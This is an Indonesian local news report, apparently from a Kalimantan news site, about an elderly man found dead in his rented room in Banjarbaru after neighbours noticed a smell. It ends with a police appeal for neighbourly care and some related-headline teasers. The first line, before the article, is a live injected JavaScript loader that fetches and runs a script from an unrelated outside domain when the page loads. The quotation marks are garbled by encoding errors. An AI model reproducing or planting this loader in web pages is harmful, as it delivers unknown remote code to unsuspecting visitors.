(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Bau menyengat hidung dari bedakan kamar kos, bikin tetangga curiga. Benar saja, Mukhtar (69), salah satu penghuni rumah bedakan di blok A No 02 di Jalan Abadi Baru RT 47 RW 07 Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, ditemukan tetangga sudah terbujur kaku, Kamis (31/5) sekitar pukul 14.00 Wita.
Mukhtar tercatat sebagai warga Jalan Transpol RT 33 RW 11 Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru.
Penemuan jenazah Mukhtar bermula saat seorang saksi -tetangga bedakan korban-, Sadariyadi (52) dibuat bingung karena sudah hampir 3 hari tidak melihat Mukhtar keluar masuk kamar. Sadariyadi juga mencium bau yang tidak enak di sekitar bangunan bedakan kos yang dihuninya itu.
“Sudah hampir 3 hari terakhir ini almarhum tidak keliatan keluar masuk kamar, saya juga mencium bau yang tidak enak di sekitar kamarnya,†ungkap Sadariyadi.
Curiga dengan kondisi tersebut, Sadariyadi langsung menghubungi Piga Herlambang (42) yang juga merupakan tetangga korban melalui telepon.
Kemudian Piga Herlambang segera menghubungi anak korban dan menanyakan keberadaan korban. Namun menurut keterangan anak korban, dirinya juga tidak mengetahui dimana keberadaan sang ayah. Hingga akhirnya Piga Herlambang kemudian meminta izin untuk membuka pintu kamar bedakan, setelah dibuka pintu kamar ditemukan korban dalam keadaan sudah meninggal dunia.
Menerima laporan tersebut, pihak Kepolisian Banjarbaru langsung meninjau ke lokasi kejadian dan selanjutnya jenazah korban dibawa ke RSUD Idaman Banjarbaru untuk dilakukan Visum et Refertum, sebelumnya telah dilakukan identifikasi oleh Unit Identifikasi Polres Banjarbaru.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kapolsek Banjarbaru Barat Kompol Syaiful Bob menghimbau bagi seluruh masyarakat untuk lebih prihatin dan lebih perduli terhadap orang sekitar.
“Masyarakat hendaknya tetap peduli dengan sesama terutama orang di sekitar. Kejadian ini sampai 3 hari baru diketahui tetangga, seandainya saling peduli, saya yakin tidak perlu sampai 3 hari untuk mengetahui kejadian ini,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.